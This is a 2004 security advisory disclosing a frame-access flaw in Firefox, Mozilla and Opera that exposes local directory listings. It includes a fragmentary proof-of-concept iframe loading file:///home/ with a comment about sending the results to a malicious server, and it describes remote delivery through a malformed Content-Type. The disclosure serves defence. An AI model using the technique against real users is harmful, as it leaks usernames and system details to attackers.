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Disclosure of file system information in Mozilla Firefox and Opera Browser:
Dec 01 2004 04:15PM
Giovanni Delvecchio (badpenguin79 hotmail com)
Title: Disclosure of file system information in Mozilla Firefox and Opera
I don't know if it could be considered really a security problem, anyway
i'll try to explain my ideas.
Sorry for my bad english.
Author: Giovanni Delvecchio
Bug: Disclosure of file system information
- Firefox 1.0
- Mozilla 1.7
- Opera 7.54 (*)
( maybe also previous versions )
- Firefox 1.0 on Linux and Windows
- Mozilla 1.7 on Windows
- Opera 7.51,..7.54 on Linux
The content of this advisory could be applied also to other browsers, i have
checked just Mozilla, Firefox,Opera and Microsoft Internet Explorer.
Microsoft Internet Explorer seems not to be affected.
A problem exist in some browsers where a frame can gain access to attributes
of another frame or iframe.
An application of this bug could be the possibility to disclose local
------ begin code.htm -----
//send list_files at malicious_server
<iframe name="local_files" src="file:///home/" height=0
------ end of code.htm -------
A malicious server could obtain the content of /home/ directory ( or
c:\Document and Setting\ for windows system ) and so know a set of
usernames present on system target.
Moreover, colud be possible know if a particolar program is installed on
target system for a succesive attack.
Anyway it cannot be exploited "directly" by a remote site, but only if the
page is opened from a local path ( file://localpath/code.htm), since the
iframe "local_files" belongs to a local domain.
Note: with Internet Explorer code.htm doesn't work even in local.
Possible Remote Exploitation:
How could a malicious remote user exploit it ?
After that the user "victim" has required http://maliciuos_server/code.htm,
if malicious_server responds with a page containing an unknown Content-Type
field ( for example text/html. ,note the dot) ,the browser will show a
dialog window with some options (open, save, cancel). Choosing "Open" to
will be executed in local context.
Obviously, if user chooses to save and after open it the result is equal.
(*) For Opera this method of remote exploitation requires that opera must
be setted as Default Application in "handler for saved files" whether the
user choose "Open" in the dialog window.
No solution at the moment
24th November 2004: I have contacted mozilla by security (at) mozilla (dot) org [email concealed]
and Opera by its bug track page at https://bugs.opera.com/wizard/
No response from both at the moment.
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